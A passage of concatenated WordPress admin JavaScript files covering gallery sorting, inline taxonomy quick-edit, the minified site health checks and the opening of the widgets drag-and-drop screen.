			var triggerElement = $( event.trigger ),
				successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

			// Clear the selection and move focus back to the trigger.
			event.clearSelection();

			// Show success visual feedback.
			clearTimeout( copyAttachmentURLSuccessTimeout );
			successElement.removeClass( 'hidden' );

			// Hide success visual feedback after 3 seconds since last success and unfocus the trigger.
			copyAttachmentURLSuccessTimeout = setTimeout( function() {
				successElement.addClass( 'hidden' );
			}, 3000 );

			// Handle success audible feedback.
			wp.a11y.speak( wp.i18n.__( 'The file URL has been copied to your clipboard' ) );
		} );
	});
})( jQuery );
/**
 * @output wp-admin/js/gallery.js
 */

/* global unescape, getUserSetting, setUserSetting, wpgallery, tinymce */

jQuery( function($) {
	var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false;

	gallerySortableInit = function() {
		gallerySortable = $('#media-items').sortable( {
			items: 'div.media-item',
			placeholder: 'sorthelper',
			axis: 'y',
			distance: 2,
			handle: 'div.filename',
			stop: function() {
				// When an update has occurred, adjust the order for each item.
				var all = $('#media-items').sortable('toArray'), len = all.length;
				$.each(all, function(i, id) {
					var order = desc ? (len - i) : (1 + i);
					$('#' + id + ' .menu_order input').val(order);
				});
			}
		} );
	};

	sortIt = function() {
		var all = $('.menu_order_input'), len = all.length;
		all.each(function(i){
			var order = desc ? (len - i) : (1 + i);
			$(this).val(order);
		});
	};

	clearAll = function(c) {
		c = c || 0;
		$('.menu_order_input').each( function() {
			if ( this.value === '0' || c ) {
				this.value = '';
			}
		});
	};

	$('#asc').on( 'click', function( e ) {
		e.preventDefault();
		desc = false;
		sortIt();
	});
	$('#desc').on( 'click', function( e ) {
		e.preventDefault();
		desc = true;
		sortIt();
	});
	$('#clear').on( 'click', function( e ) {
		e.preventDefault();
		clearAll(1);
	});
	$('#showall').on( 'click', function( e ) {
		e.preventDefault();
		$('#sort-buttons span a').toggle();
		$('a.describe-toggle-on').hide();
		$('a.describe-toggle-off, table.slidetoggle').show();
		$('img.pinkynail').toggle(false);
	});
	$('#hideall').on( 'click', function( e ) {
		e.preventDefault();
		$('#sort-buttons span a').toggle();
		$('a.describe-toggle-on').show();
		$('a.describe-toggle-off, table.slidetoggle').hide();
		$('img.pinkynail').toggle(true);
	});

	// Initialize sortable.
	gallerySortableInit();
	clearAll();

	if ( $('#media-items>*').length > 1 ) {
		w = wpgallery.getWin();

		$('#save-all, #gallery-settings').show();
		if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
			wpgallery.mcemode = true;
			wpgallery.init();
		} else {
			$('#insert-gallery').show();
		}
	}
});

/* gallery settings */
window.tinymce = null;

window.wpgallery = {
	mcemode : false,
	editor : {},
	dom : {},
	is_update : false,
	el : {},

	I : function(e) {
		return document.getElementById(e);
	},

	init: function() {
		var t = this, li, q, i, it, w = t.getWin();

		if ( ! t.mcemode ) {
			return;
		}

		li = ('' + document.location.search).replace(/^\?/, '').split('&');
		q = {};
		for (i=0; i<li.length; i++) {
			it = li[i].split('=');
			q[unescape(it[0])] = unescape(it[1]);
		}

		if ( q.mce_rdomain ) {
			document.domain = q.mce_rdomain;
		}

		// Find window & API.
		window.tinymce = w.tinymce;
		window.tinyMCE = w.tinyMCE;
		t.editor = tinymce.EditorManager.activeEditor;

		t.setup();
	},

	getWin : function() {
		return window.dialogArguments || opener || parent || top;
	},

	setup : function() {
		var t = this, a, ed = t.editor, g, columns, link, order, orderby;
		if ( ! t.mcemode ) {
			return;
		}

		t.el = ed.selection.getNode();

		if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
			if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) {
				t.el = g[0];
			} else {
				if ( getUserSetting('galfile') === '1' ) {
					t.I('linkto-file').checked = 'checked';
				}
				if ( getUserSetting('galdesc') === '1' ) {
					t.I('order-desc').checked = 'checked';
				}
				if ( getUserSetting('galcols') ) {
					t.I('columns').value = getUserSetting('galcols');
				}
				if ( getUserSetting('galord') ) {
					t.I('orderby').value = getUserSetting('galord');
				}
				jQuery('#insert-gallery').show();
				return;
			}
		}

		a = ed.dom.getAttrib(t.el, 'title');
		a = ed.dom.decode(a);

		if ( a ) {
			jQuery('#update-gallery').show();
			t.is_update = true;

			columns = a.match(/columns=['"]([0-9]+)['"]/);
			link = a.match(/link=['"]([^'"]+)['"]/i);
			order = a.match(/order=['"]([^'"]+)['"]/i);
			orderby = a.match(/orderby=['"]([^'"]+)['"]/i);

			if ( link && link[1] ) {
				t.I('linkto-file').checked = 'checked';
			}
			if ( order && order[1] ) {
				t.I('order-desc').checked = 'checked';
			}
			if ( columns && columns[1] ) {
				t.I('columns').value = '' + columns[1];
			}
			if ( orderby && orderby[1] ) {
				t.I('orderby').value = orderby[1];
			}
		} else {
			jQuery('#insert-gallery').show();
		}
	},

	update : function() {
		var t = this, ed = t.editor, all = '', s;

		if ( ! t.mcemode || ! t.is_update ) {
			s = '[gallery' + t.getSettings() + ']';
			t.getWin().send_to_editor(s);
			return;
		}

		if ( t.el.nodeName !== 'IMG' ) {
			return;
		}

		all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) );
		all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
		all += t.getSettings();

		ed.dom.setAttrib(t.el, 'title', all);
		t.getWin().tb_remove();
	},

	getSettings : function() {
		var I = this.I, s = '';

		if ( I('linkto-file').checked ) {
			s += ' link="file"';
			setUserSetting('galfile', '1');
		}

		if ( I('order-desc').checked ) {
			s += ' order="DESC"';
			setUserSetting('galdesc', '1');
		}

		if ( I('columns').value !== 3 ) {
			s += ' columns="' + I('columns').value + '"';
			setUserSetting('galcols', I('columns').value);
		}

		if ( I('orderby').value !== 'menu_order' ) {
			s += ' orderby="' + I('orderby').value + '"';
			setUserSetting('galord', I('orderby').value);
		}

		return s;
	}
};
/**
 * This file is used on the term overview page to power quick-editing terms.
 *
 * @output wp-admin/js/inline-edit-tax.js
 */

/* global ajaxurl, inlineEditTax */

window.wp = window.wp || {};

/**
 * Consists of functions relevant to the inline taxonomy editor.
 *
 * @namespace inlineEditTax
 *
 * @property {string} type The type of inline edit we are currently on.
 * @property {string} what The type property with a hash prefixed and a dash
 *                         suffixed.
 */
( function( $, wp ) {

window.inlineEditTax = {

	/**
	 * Initializes the inline taxonomy editor by adding event handlers to be able to
	 * quick edit.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @return {void}
	 */
	init : function() {
		var t = this, row = $('#inline-edit');

		t.type = $('#the-list').attr('data-wp-lists').substr(5);
		t.what = '#'+t.type+'-';

		$( '#the-list' ).on( 'click', '.editinline', function() {
			$( this ).attr( 'aria-expanded', 'true' );
			inlineEditTax.edit( this );
		});

		/**
		 * Cancels inline editing when pressing Escape inside the inline editor.
		 *
		 * @param {Object} e The keyup event that has been triggered.
		 */
		row.on( 'keyup', function( e ) {
			// 27 = [Escape].
			if ( e.which === 27 ) {
				return inlineEditTax.revert();
			}
		});

		/**
		 * Cancels inline editing when clicking the cancel button.
		 */
		$( '.cancel', row ).on( 'click', function() {
			return inlineEditTax.revert();
		});

		/**
		 * Saves the inline edits when clicking the save button.
		 */
		$( '.save', row ).on( 'click', function() {
			return inlineEditTax.save(this);
		});

		/**
		 * Saves the inline edits when pressing Enter inside the inline editor.
		 */
		$( 'input, select', row ).on( 'keydown', function( e ) {
			// 13 = [Enter].
			if ( e.which === 13 ) {
				return inlineEditTax.save( this );
			}
		});

		/**
		 * Saves the inline edits on submitting the inline edit form.
		 */
		$( '#posts-filter input[type="submit"]' ).on( 'mousedown', function() {
			t.revert();
		});
	},

	/**
	 * Toggles the quick edit based on if it is currently shown or hidden.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} el An element within the table row or the table row
	 *                         itself that we want to quick edit.
	 * @return {void}
	 */
	toggle : function(el) {
		var t = this;

		$(t.what+t.getId(el)).css('display') === 'none' ? t.revert() : t.edit(el);
	},

	/**
	 * Shows the quick editor
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @return {boolean} Always returns false.
	 */
	edit : function(id) {
		var editRow, rowData, val,
			t = this;
		t.revert();

		// Makes sure we can pass an HTMLElement as the ID.
		if ( typeof(id) === 'object' ) {
			id = t.getId(id);
		}

		editRow = $('#inline-edit').clone(true), rowData = $('#inline_'+id);
		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.wp-list-table.widefat:first thead' ).length );

		$(t.what+id).hide().after(editRow).after('<tr class="hidden"></tr>');

		val = $('.name', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="name"]', editRow).val( val );

		val = $('.slug', rowData);
		val.find( 'img' ).replaceWith( function() { return this.alt; } );
		val = val.text();
		$(':input[name="slug"]', editRow).val( val );

		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
		$('.ptitle', editRow).eq(0).trigger( 'focus' );

		return false;
	},

	/**
	 * Saves the quick edit data.
	 *
	 * Saves the quick edit data to the server and replaces the table row with the
	 * HTML retrieved from the server.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 *
	 * @param {string|HTMLElement} id The ID of the term we want to quick edit or an
	 *                                element within the table row or the
	 * table row itself.
	 * @return {boolean} Always returns false.
	 */
	save : function(id) {
		var params, fields, tax = $('input[name="taxonomy"]').val() || '';

		// Makes sure we can pass an HTMLElement as the ID.
		if( typeof(id) === 'object' ) {
			id = this.getId(id);
		}

		$( 'table.widefat .spinner' ).addClass( 'is-active' );

		params = {
			action: 'inline-save-tax',
			tax_type: this.type,
			tax_ID: id,
			taxonomy: tax
		};

		fields = $('#edit-'+id).find(':input').serialize();
		params = fields + '&' + $.param(params);

		// Do the Ajax request to save the data to the server.
		$.post( ajaxurl, params,
			/**
			 * Handles the response from the server
			 *
			 * Handles the response from the server, replaces the table row with the response
			 * from the server.
			 *
			 * @param {string} r The string with which to replace the table row.
			 */
			function(r) {
				var row, new_id, option_value,
					$errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
					$error = $errorNotice.find( '.error' );

				$( 'table.widefat .spinner' ).removeClass( 'is-active' );

				if (r) {
					if ( -1 !== r.indexOf( '<tr' ) ) {
						$(inlineEditTax.what+id).siblings('tr.hidden').addBack().remove();
						new_id = $(r).attr('id');

						$('#edit-'+id).before(r).remove();

						if ( new_id ) {
							option_value = new_id.replace( inlineEditTax.type + '-', '' );
							row = $( '#' + new_id );
						} else {
							option_value = id;
							row = $( inlineEditTax.what + id );
						}

						// Update the value in the Parent dropdown.
						$( '#parent' ).find( 'option[value=' + option_value + ']' ).text( row.find( '.row-title' ).text() );

						row.hide().fadeIn( 400, function() {
							// Move focus back to the Quick Edit button.
							row.find( '.editinline' )
								.attr( 'aria-expanded', 'false' )
								.trigger( 'focus' );
							wp.a11y.speak( wp.i18n.__( 'Changes saved.' ) );
						});

					} else {
						$errorNotice.removeClass( 'hidden' );
						$error.html( r );
						/*
						 * Some error strings may contain HTML entities (e.g. `&#8220`), let's use
						 * the HTML element's text.
						 */
						wp.a11y.speak( $error.text() );
					}
				} else {
					$errorNotice.removeClass( 'hidden' );
					$error.text( wp.i18n.__( 'Error while saving the changes.' ) );
					wp.a11y.speak( wp.i18n.__( 'Error while saving the changes.' ) );
				}
			}
		);

		// Prevent submitting the form when pressing Enter on a focused field.
		return false;
	},

	/**
	 * Closes the quick edit form.
	 *
	 * @since 2.7.0
	 *
	 * @this inlineEditTax
	 * @memberof inlineEditTax
	 * @return {void}
	 */
	revert : function() {
		var id = $('table.widefat tr.inline-editor').attr('id');

		if ( id ) {
			$( 'table.widefat .spinner' ).removeClass( 'is-active' );
			$('#'+id).siblings('tr.hidden').addBack().remove();
			id = id.substr( id.lastIndexOf('-') + 1 );

			// Show the taxonomy row and move focus back to the Quick Edit button.
			$( this.what + id ).show().find( '.editinline' )
				.attr( 'aria-expanded', 'false' )
				.trigger( 'focus' );
		}
	},

	/**
	 * Retrieves the ID of the term of the element inside the table row.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditTax
	 *
	 * @param {HTMLElement} o An element within the table row or the table row itself.
	 * @return {string} The ID of the term based on the element.
	 */
	getId : function(o) {
		var id = o.tagName === 'TR' ? o.id : $(o).parents('tr').attr('id'), parts = id.split('-');

		return parts[parts.length - 1];
	}
};

$( function() { inlineEditTax.init(); } );

})( jQuery, window.wp );
/*! This file is auto-generated */
jQuery(function(o){var a,l=wp.i18n.__,n=wp.i18n._n,r=wp.i18n.sprintf,e=new ClipboardJS(".site-health-copy-buttons .copy-button"),c=o(".health-check-body.health-check-status-tab").length,t=o(".health-check-body.health-check-debug-tab").length,i=o("#health-check-accordion-block-wp-paths-sizes"),h=o("#adminmenu .site-health-counter"),u=o("#adminmenu .site-health-counter .count");function d(e){var t,s,a=wp.template("health-check-issue"),i=o("#health-check-issues-"+e.status);!function(e){var t,s,a,i,n={test:"string",label:"string",description:"string"},o=!0;if("object"==typeof e){for(t in n)if("object"==typeof(s=n[t]))for(a in s)i=s[a],void 0!==e[t]&&void 0!==e[t][a]&&i===typeof e[t][a]||(o=!1);else void 0!==e[t]&&s===typeof e[t]||(o=!1);return o}}(e)||(SiteHealth.site_status.issues[e.status]++,s=SiteHealth.site_status.issues[e.status],void 0===e.test&&(e.test=e.status+s),"critical"===e.status?t=r(n("%s critical issue","%s critical issues",s),'<span class="issue-count">'+s+"</span>"):"recommended"===e.status?t=r(n("%s recommended improvement","%s recommended improvements",s),'<span class="issue-count">'+s+"</span>"):"good"===e.status&&(t=r(n("%s item with no issues detected","%s items with no issues detected",s),'<span class="issue-count">'+s+"</span>")),t&&o(".site-health-issue-count-title",i).html(t),u.text(SiteHealth.site_status.issues.critical),0<parseInt(SiteHealth.site_status.issues.critical,0)?(o("#health-check-issues-critical").removeClass("hidden"),h.removeClass("count-0")):h.addClass("count-0"),0<parseInt(SiteHealth.site_status.issues.recommended,0)&&o("#health-check-issues-recommended").removeClass("hidden"),o(".issues","#health-check-issues-"+e.status).append(a(e)))}function p(){var e=o(".site-health-progress"),t=e.closest(".site-health-progress-wrapper"),s=o(".site-health-progress-label",t),a=o(".site-health-progress svg #bar"),i=parseInt(SiteHealth.site_status.issues.good,0)+parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=.5*parseInt(SiteHealth.site_status.issues.recommended,0)+1.5*parseInt(SiteHealth.site_status.issues.critical,0),n=100-Math.ceil(n/i*100);0===i?e.addClass("hidden"):(t.removeClass("loading"),i=a.attr("r"),e=Math.PI*(2*i),a.css({strokeDashoffset:(100-(n=100<(n=n<0?0:n)?100:n))/100*e+"px"}),80<=n&&0===parseInt(SiteHealth.site_status.issues.critical,0)?(t.addClass("green").removeClass("orange"),s.text(l("Good")),g("good")):(t.addClass("orange").removeClass("green"),s.text(l("Should be improved")),g("improvable")),c&&(o.post(ajaxurl,{action:"health-check-site-status-result",_wpnonce:SiteHealth.nonce.site_status_result,counts:SiteHealth.site_status.issues}),100===n)&&(o(".site-status-all-clear").removeClass("hide"),o(".site-status-has-issues").addClass("hide")))}function m(e,t){e={status:"recommended",label:l("A test is unavailable"),badge:{color:"red",label:l("Unavailable")},description:"<p>"+e+"</p><p>"+t+"</p>",actions:""};d(wp.hooks.applyFilters("site_status_test_result",e))}function s(){var t=(new Date).getTime(),s=window.setTimeout(function(){g("waiting-for-directory-sizes")},3e3);wp.apiRequest({path:"/wp-site-health/v1/directory-sizes"}).done(function(e){var a,s;a=e||{},e=o("button.button.copy-button"),s=e.attr("data-clipboard-text"),o.each(a,function(e,t){t=t.debug||t.size;void 0!==t&&(s=s.replace(e+": loading...",e+": "+t))}),e.attr("data-clipboard-text",s),i.find("td[class]").each(function(e,t){var t=o(t),s=t.attr("class");a.hasOwnProperty(s)&&a[s].size&&t.text(a[s].size)})}).always(function(){var e=(new Date).getTime()-t;o(".health-check-wp-paths-sizes.spinner").css("visibility","hidden"),3e3<e?(e=6e3<e?0:6500-e,window.setTimeout(function(){p()},e)):window.clearTimeout(s),o(document).trigger("site-health-info-dirsizes-done")})}function g(e){if("site-health"===SiteHealth.screen)switch(e){case"good":wp.a11y.speak(l("All site health tests have finished running. Your site is looking good."));break;case"improvable":wp.a11y.speak(l("All site health tests have finished running. There are items that should be addressed."));break;case"waiting-for-directory-sizes":wp.a11y.speak(l("Running additional tests... please wait."))}}e.on("success",function(e){var t=o(e.trigger),s=o(".success",t.closest("div"));e.clearSelection(),clearTimeout(a),s.removeClass("hidden"),a=setTimeout(function(){s.addClass("hidden")},3e3),wp.a11y.speak(l("Site information has been copied to your clipboard."))}),o(".health-check-accordion").on("click",".health-check-accordion-trigger",function(){"true"===o(this).attr("aria-expanded")?(o(this).attr("aria-expanded","false"),o("#"+o(this).attr("aria-controls")).attr("hidden",!0)):(o(this).attr("aria-expanded","true"),o("#"+o(this).attr("aria-controls")).attr("hidden",!1))}),o(".site-health-view-passed").on("click",function(){var e=o("#health-check-issues-good");e.toggleClass("hidden"),o(this).attr("aria-expanded",!e.hasClass("hidden"))}),"undefined"!=typeof SiteHealth&&(0===SiteHealth.site_status.direct.length&&0===SiteHealth.site_status.async.length?p():SiteHealth.site_status.issues={good:0,recommended:0,critical:0},0<SiteHealth.site_status.direct.length&&o.each(SiteHealth.site_status.direct,function(){d(this)}),(0<SiteHealth.site_status.async.length?function t(){var s=!0;1<=SiteHealth.site_status.async.length&&o.each(SiteHealth.site_status.async,function(){var e={action:"health-check-"+this.test.replace("_","-"),_wpnonce:SiteHealth.nonce.site_status};return!!this.completed||(s=!1,this.completed=!0,(void 0!==this.has_rest&&this.has_rest?wp.apiRequest({url:wp.url.addQueryArgs(this.test,{_locale:"user"}),headers:this.headers}).done(function(e){d(wp.hooks.applyFilters("site_status_test_result",e))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:l("No details available"),m(this.url,e)}):o.post(ajaxurl,e).done(function(e){d(wp.hooks.applyFilters("site_status_test_result",e.data))}).fail(function(e){e=void 0!==e.responseJSON&&void 0!==e.responseJSON.message?e.responseJSON.message:l("No details available"),m(this.url,e)})).always(function(){t()}),!1)}),s&&p()}:p)()),t&&(i.length?s:p)(),o(".health-check-offscreen-nav-wrapper").on("click",function(){o(this).toggleClass("visible")})});/**
 * @output wp-admin/js/widgets.js
 */

/* global ajaxurl, isRtl, wpWidgets */

(function($) {
	var $document = $( document );

window.wpWidgets = {
	/**
	 * A closed Sidebar that gets a Widget dragged over it.
	 *
	 * @var {element|null}
	 */
	hoveredSidebar: null,

	/**
	 * Lookup of which widgets have had change events triggered.
	 *
	 * @var {object}
	 */
	dirtyWidgets: {},

	init : function() {
		var rem, the_id,
			self = this,
			chooser = $('.widgets-chooser'),
			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
			sidebars = $('div.widgets-sortables'),
			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );

		// Handle the widgets containers in the right column.
		$( '#widgets-right .sidebar-name' )
			/*
			 * Toggle the widgets containers when clicked and update the toggle
			 * button `aria-expanded` attribute value.
			 */
			.on( 'click', function() {
				var $this = $( this ),
					$wrap = $this.closest( '.widgets-holder-wrap '),
					$toggle = $this.find( '.handlediv' );

				if ( $wrap.hasClass( 'closed' ) ) {
					$wrap.removeClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'true' );
					// Refresh the jQuery UI sortable items.
					$this.parent().sortable( 'refresh' );
				} else {
					$wrap.addClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'false' );
				}

				// Update the admin menu "sticky" state.
				$document.triggerHandler( 'wp-pin-menu' );
			})
			/*
			 * Set the initial `aria-expanded` attribute value on the widgets
			 * containers toggle button. The first one is expanded by default.
			 */
			.find( '.handlediv' ).each( function( index ) {
				if ( 0 === index ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( this ).attr( 'aria-expanded', 'false' );
			});

		// Show AYS dialog when there are unsaved widget changes.
		$( window ).on( 'beforeunload.widgets', function( event ) {
			var dirtyWidgetIds = [], unsavedWidgetsElements;
			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
				if ( dirty ) {
					dirtyWidgetIds.push( widgetId );
				}
			});
			if ( 0 !== dirtyWidgetIds.length ) {
				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
				});
				unsavedWidgetsElements.each( function() {
					if ( ! $( this ).hasClass( 'open' ) ) {
						$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
					}
				});

				// Bring the first unsaved widget into view and focus on the first tabbable field.
				unsavedWidgetsElements.first().each( function() {
					if ( this.scrollIntoViewIfNeeded ) {
						this.scrollIntoViewIfNeeded();
					} else {
						this.scrollIntoView();
					}
					$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
				} );

				event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				return event.returnValue;
			}
		});

		// Handle the widgets containers in the left column.
		$( '#widgets-left .sidebar-name' ).on( 'click', function() {
			var $wrap = $( this ).closest( '.widgets-holder-wrap' );

			$wrap
				.toggleClass( 'closed' )
				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );

			// Update the admin menu "sticky" state.
			$document.triggerHandler( 'wp-pin-menu' );
		});

		$(document.body).on('click.widgets-toggle', function(e) {
			var target = $(e.target), css = {},
				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );

			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
				widget = target.closest('div.widget');
				inside = widget.children('.widget-inside');
				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
				widgetWidth = widget.parent().width();
				widgetId = inside.find( '.widget-id' ).val();

				// Save button is initially disabled, but is enabled when a field is changed.
				if ( ! widget.data( 'dirty-state-initialized' ) ) {
					saveButton = inside.find( '.widget-control-save' );
					saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
					inside.on( 'input change', function() {
						self.dirtyWidgets[ widgetId ] = true;
						widget.addClass( 'widget-dirty' );
						saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
					});
					widget.data( 'dirty-state-initialized', true );
				}

				if ( inside.is(':hidden') ) {
					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
						if ( widget.closest('div.widget-liquid-right').length ) {
							margin = isRTL ? 'margin-right' : 'margin-left';
						} else {
							margin = isRTL ? 'margin-left' : 'margin-right';
						}

						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
						widget.css( css );
					}
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'true' );
					inside.slideDown( 'fast', function() {
						widget.addClass( 'open' );
					});
				} else {
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'false' );
					inside.slideUp( 'fast', function() {
						widget.attr( 'style', '' );
						widget.removeClass( 'open' );
					});
				}
			} else if ( target.hasClass('widget-control-save') ) {
				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
				e.preventDefault();
			} else if ( target.hasClass('widget-control-remove') ) {
				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
			} else if ( target.hasClass('widget-control-close') ) {
				widget = target.closest('div.widget');
				widget.removeClass( 'open' );
				toggleBtn.attr( 'aria-expanded', 'false' );
				wpWidgets.close( widget );
			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
				wpWidgets.removeInactiveWidgets();
				e.preventDefault();
			}
		});

		sidebars.children('.widget').each( function() {
			var $this = $(this);

			wpWidgets.appendTitle( this );

			if ( $this.find( 'p.widget-error' ).length ) {
				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
			}
		});

		$('#widget-list').children('.widget').draggable({
			connectToSortable: 'div.widgets-sortables',
			handle: '> .widget-top > .widget-title',
			distance: 2,
			helper: 'clone',
			zIndex: 101,
			containment: '#wpwrap',
			refreshPositions: true,
			start: function( event, ui ) {
				var chooser = $(this).find('.widgets-chooser');

				ui.helper.find('div.widget-description').hide();
				the_id = this.id;

				if ( chooser.length ) {
					// Hide the chooser and move it out of the widget.
					$( '#wpbody-content' ).append( chooser.hide() );
					// Delete the cloned chooser from the drag helper.
					ui.helper.find('.widgets-chooser').remove();
					self.clearWidgetSelection();
				}
			},
			stop: function() {
				if ( rem ) {
					$(rem).hide();
				}

				rem = '';
			}
		});

		/**
		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
		 */
		sidebars.droppable( {
			tolerance: 'intersect',

			/**
			 * Open Sidebar when a Widget gets dragged over it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			over: function( event ) {
				var $wrap = $( event.target ).parent();

				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
					wpWidgets.closeSidebar( event );
				}

				if ( $wrap.hasClass( 'closed' ) ) {
					wpWidgets.hoveredSidebar = $wrap;
					$wrap
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
				}

				$( this ).sortable( 'refresh' );
			},

			/**
			 * Close Sidebar when the Widget gets dragged out of it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			out: function( event ) {
				if ( wpWidgets.hoveredSidebar ) {
					wpWidgets.closeSidebar( event );
				}
			}
		} );

		sidebars.sortable({
			placeholder: 'widget-placeholder',
			items: '> .widget',
			handle: '> .widget-top > .widget-title',
			cursor: 'move',
			distance: 2,
			containment: '#wpwrap',
			tolerance: 'pointer',
			refreshPositions: true,
			start: function( event, ui ) {
				var height, $this = $(this),
					$wrap = $this.parent(),
					inside = ui.item.children('.widget-inside');

				if ( inside.css('display') === 'block' ) {
					ui.item.removeClass('open');
					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
					inside.hide();
					$(this).sortable('refreshPositions');
				}

				if ( ! $wrap.hasClass('closed') ) {
					// Lock all open sidebars min-height when starting to drag.
					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
					$this.css( 'min-height', height + 'px' );
				}
			},

			stop: function( event, ui ) {
				var addNew, widgetNumber, $sidebar, $children, child, item,
					$widget = ui.item,
					id = the_id;

				// Reset the var to hold a previously closed sidebar.
				wpWidgets.hoveredSidebar = null;

				if ( $widget.hasClass('deleting') ) {
					wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
					$widget.remove();
					return;
				}

				addNew = $widget.find('input.add_new').val();
				widgetNumber = $widget.find('input.multi_number').val();

				$widget.attr( 'style', '' ).removeClass('ui-draggable');
				the_id = '';

				if ( addNew ) {
					if ( 'multi' === addNew ) {
						$widget.html(
							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
								return tag.replace( /__i__|%i%/g, widgetNumber );
							})
						);

						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
						widgetNumber++;

						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
					} else if ( 'single' === addNew ) {
						$widget.attr( 'id', 'new-' + id );
						rem = 'div#' + id;
					}

					wpWidgets.save( $widget, 0, 0, 1 );
					$widget.find('input.add_new').val('');
					$document.trigger( 'widget-added', [ $widget ] );
				}

				$sidebar = $widget.parent();

				if ( $sidebar.parent().hasClass('closed') ) {
					$sidebar.parent()
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

					$children = $sidebar.children('.widget');

					// Make sure the dropped widget is at the top.
					if ( $children.length > 1 ) {
						child = $children.get(0);
						item = $widget.get(0);

						if ( child.id && item.id && child.id !== item.id ) {
							$( child ).before( $widget );
						}
					}
				}

				if ( addNew ) {
					$widget.find( '.widget-action' ).trigger( 'click' );
				} else {
					wpWidgets.saveOrder( $sidebar.attr('id') );
				}
			},

			activate: function() {
				$(this).parent().addClass( 'widget-hover' );
			},

			deactivate: function() {
				// Remove all min-height added on "start".
				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
			},

			receive: function( event, ui ) {
				var $sender = $( ui.sender );

				// Don't add more widgets to orphaned sidebars.
				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
					$sender.sortable('cancel');
					return;
				}

				// If the last widget was moved out of an orphaned sidebar, close and remove it.
				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
				}
			}
		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );

		$('#available-widgets').droppable({
			tolerance: 'pointer',
			accept: function(o){
				return $(o).parent().attr('id') !== 'widget-list';
			},
			drop: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('#removing-widget').hide().children('span').empty();
			},
			over: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('div.widget-placeholder').hide();

